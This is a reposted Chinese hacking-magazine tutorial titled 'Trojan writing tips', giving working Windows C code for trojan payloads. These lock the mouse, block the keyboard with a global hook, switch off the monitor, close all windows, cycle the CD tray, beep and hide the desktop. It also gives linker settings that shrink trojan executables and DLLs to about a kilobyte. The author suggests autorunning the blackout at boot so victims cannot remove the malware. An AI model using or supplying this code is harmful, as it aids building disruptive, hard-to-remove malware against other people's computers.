木马编写小技巧

1.锁定鼠标:

这个功能很简单只要一个ClipCursor()就可以搞定了看看下面的小程序

#include <stdio.h>

#include <windows.h>

int main(int argc, char* argv[])

{

     printf("/n别害怕15妙后你的鼠标就可以使用了^_^/n");

     RECT rect;

     rect.bottom = 1;

     rect.right = 1;

     ClipCursor(&rect);

     ::Sleep(15000);

     ClipCursor(NULL);//释放

     return 0;

}

  注:本文于06/12月于黑客防线发表版权归黑客防线所有,转载请注明出处

rect是一个结构,表示锁定的范围我们通常只用 bottom和right两个域

2.锁定键盘:

锁键盘一般用钩子实现,所以难度稍大,不过下面这个程序当简单,而且连钩子所需要DLL也省了

#include <stdio.h>

#include <windows.h>

//处理按键消息的过程函数

LRESULT CALLBACK keyproc(int code, WPARAM wParam, LPARAM lParam)

{

    return 1;//返回1可使键盘停止响应

}

 

int main(int argc, char* argv[])

{

    SetWindowsHookEx(WH_KEYBOARD, keyproc, GetModuleHandle(NULL), 0);//安装键盘钩子

    printf("/n/n/n程序将在15妙之后返回...嘿嘿15妙内你的键盘是无法工作的哦/n");

    ::Sleep(15000);

 

    return 0;

}

  注:本文于06/12月于黑客防线发表版权归黑客防线所有,转载请注明出处

上面的代码是参考了6期“全局钩子”和7期“楚茗”的文章写成的,使用钩子而无DLL的关键就在于GetModuleHandle(NULL),GetModuleHandle()参数为NULL得到的是调用者本身的模块句柄,也就是说用程序本身作为DLL。因为是console程序,所以随着程序的结束钩子也就OVER了,所以我并没有卸载钩子。钩子果然是强大,学会使用钩子你的水平就不一般了^_^.

3.关闭显视器

这个也是相当简单的看看代码:

#include <windows.h>

int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR  lpCmdLine, int  nCmdShow)

{

     SendMessage(FindWindow(0,0), WM_SYSCOMMAND, SC_MONITORPOWER, 2);//关闭

     ::Sleep(10000);

     SendMessage(FindWindow(0, 0), WM_SYSCOMMAND, SC_MONITORPOWER, -1);//打开

 

     return 0;

}

要是你够毒的话可以让它自动运行,开机就黑屏,任你杀毒水平再高,没有显示器看你怎么杀…….嘿嘿

4.关闭所有窗口

原理是枚举所有窗口句柄,然后发送WM_CLOSE消息来关闭窗口,效果蛮好就差没重起

#include <windows.h>

BOOL CALLBACK EnumWindowsProc(HWND hwnd,LPARAM IParam);

int APIENTRY WinMain(HINSTANCE hInstance,

                     HINSTANCE hPrevInstance,

                     LPSTR     lpCmdLine,

                     int       nCmdShow)

{

    EnumWindows(EnumWindowsProc, 0);//将窗口句柄传给回调函数处理

    return 0;

}

 

BOOL CALLBACK EnumWindowsProc(HWND hwnd, LPARAM IParam)//回调函数

{

    ::PostMessage(hwnd, WM_CLOSE, 0, 0);//结束窗口

     return (true);//返回FALSE时EnumWindows结束

}

程序用EnumWindows()枚举所有窗口并把窗口句柄传给回调函数EnumWindowsProc,而回调函数的任务就是CLOSE!,呵呵

5.锁定光驱

其实说让“光驱跳舞”更合适,以下的程序可以打开并关闭光驱

#include <mmsystem.h>//注意加入头文件

int APIENTRY WinMain(HINSTANCE hInstance,

                     HINSTANCE hPrevInstance,

                     LPSTR     lpCmdLine,

                     int       nCmdShow)

{

     ::mciSendString("set cdaudio door open", NULL, 0, NULL);//打开

     ::mciSendString("set cdaudio door closed wait", NULL, 0, NULL);//关闭

     return 0;

}

//注意在 工程-设置-LINK中加入库文件名winmm.lib

如果你弄个死循环,就可以让他的光驱好好活动活动了^_^

6.制造噪音

大多时候我们要隐藏自己,但有时候我们就需要给对方放点音乐,小小的“提示”一下以证明我们的存在

#include<windows.h>

main()

{

     for(int j=450; j<500; j++)

     {

         for(int i=1000;i<1110;i++)

        {

           Beep(i,30);

           ::Sleep(100);

        }

     }

}

关键就是一个Beep()第一个参数为赫兹第二个为音长你可以自己试一下,弄点好听的。

7.隐藏桌面

其实桌面与任务栏也是一种窗口,我们可以通过FindWindow来查找它们的句柄,然后通过ShowWindow()来隐藏或显视,其中桌面类名为ProgMan任务栏类名为Shell_TrayWnd。 

#include <stdio.h>

#include <windows.h>

int main(int argc, char* argv[])

{

     HWND disk,mask;

     disk = FindWindow("ProgMan", NULL);

     mask = FindWindow("Shell_TrayWnd", NULL);

     ShowWindow(mask, SW_HIDE);//隐藏任务栏

     ShowWindow(disk, SW_HIDE);//隐藏桌面

     printf("/n15妙后会自动出现桌面 请等待...../n");

     Sleep(15000);

     ShowWindow(mask,SW_SHOW);//显示

     ShowWindow(disk,SW_SHOW);//显示

     return 0;

}

缩小木马大小,

1. 普通Exe 文件

完全可以使用下面方法:

A. link标记: /nodefaultlib

代表: Ignore all default libraries

包括运行时库, 都不用.

当然如果大家要用相关c运行时库的api 怎么办呢?

可以使用相关对应的API, 比如strcmpi, 使用lstrcmpi, 详细请参考下表:

 

Standard function

 

Win32 equivalent

mallocHeapAlloc
freeHeapFree
strcpylstrcpy
strcatlstrcat
strncpylstrncpy
strncatlstrncat
strlenlstrlen
strcmplstrcmp
strcmpilstrcmpi
memcpyCopyMemory
memsetFillMemory or ZeroMemory
memmoveMoveMemory
toupperCharUpper
tolowerCharLower
isalphaIsCharAlpha
isalnumIsCharAlphaNumeric
islowerIsCharLower
isupperIsCharUpper
sprintfwsprintf
vsprintfwvsprint

B. 设置连接节大小及其他

加入下面代码到cpp文件就可以.

#ifndef _DEBUG   

#pragma comment(linker,  "/FILEALIGN:16")  

#pragma comment(linker, "/ALIGN:16")   

#pragma comment(linker, "/OPT:REF")

#pragma comment(linker, "/OPT:ICF")

#pragma comment(linker, "/OPT:NOWIN98")   // 使用老VC编绎器的512大小为一节

// 合并段

#pragma comment(linker, "/MERGE:.rdata=.data")

#pragma comment(linker, "/MERGE:.text=.data")

#pragma comment(linker, "/MERGE:.reloc=.data")

// Favour small code

#pragma comment(linker, "/ENTRY:WinMain")

#endif

如果是少量代码的Exe 程序, 最终大小可以在1500 字节以内.

我曾写过一个程序使用了文件读写, 执行进程, 字符运算, 等等一共50多行代码, 最终大小为: 1488字节.

C. 不幸的是可能还是要使用c运行库

那可以使用这个 LIBCTINY.LIB文件, 以尽量减小. 当然这个lib 本身包括不多的运行库api.

LIBCTINY.LIB 文件以及源程序参考:

http://msdn.microsoft.com/msdnmag/issues/01/01/hood/default.aspx

 

2. 普通Dll 大小问题

因为: __DllMainCRTStartup 或: _DllMainCRTStartup 要调用运行时库

还好, LIBCTINY.LIB 里面已经有相关实现, 可以用LIBCTINY.LIB, 而不用调用运行库了. 这样可以大大减小.

连接设置:

#ifndef _DEBUG

// default lib setting.

#pragma comment(linker, "/defaultlib:kernel32.lib")

#pragma comment(linker, "/defaultlib:LIBCTINY.LIB")

#pragma comment(linker, "/nodefaultlib:libc.lib")

#pragma comment(linker, "/nodefaultlib:libcmt.lib")

// section size

#pragma comment(linker, "/FILEALIGN:16")

#pragma comment(linker, "/ALIGN:16")

#pragma comment(linker, "/OPT:NOWIN98")

// 合并段

#pragma comment(linker, "/MERGE:.rdata=.data")

#pragma comment(linker, "/MERGE:.text=.data")

#pragma comment(linker, "/MERGE:.reloc=.data")

#endif

另外我的测试程序中导出了一个接口

BOOL _stdcall ExpHook( )

{

    return 0;

}

最终大小为: 992字节.

 

3. 复杂Dll 和复杂Exe 大小问题

如果你的程序一定要使用MFC, 那怎么编绎至少也有几十KB了.

但你还是可以用相关PE压缩程序压缩一下的. 至少能压缩到50%.

如果是COM, 建议不要使用MFC, 如果使用ATL, 可以使用压缩程序压缩一下, 基本会在20-40K 大小.

复杂类型的Dll, Exe 肯定是要使用运行库的. 像用了ATL就没有办法不用运行库了.

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值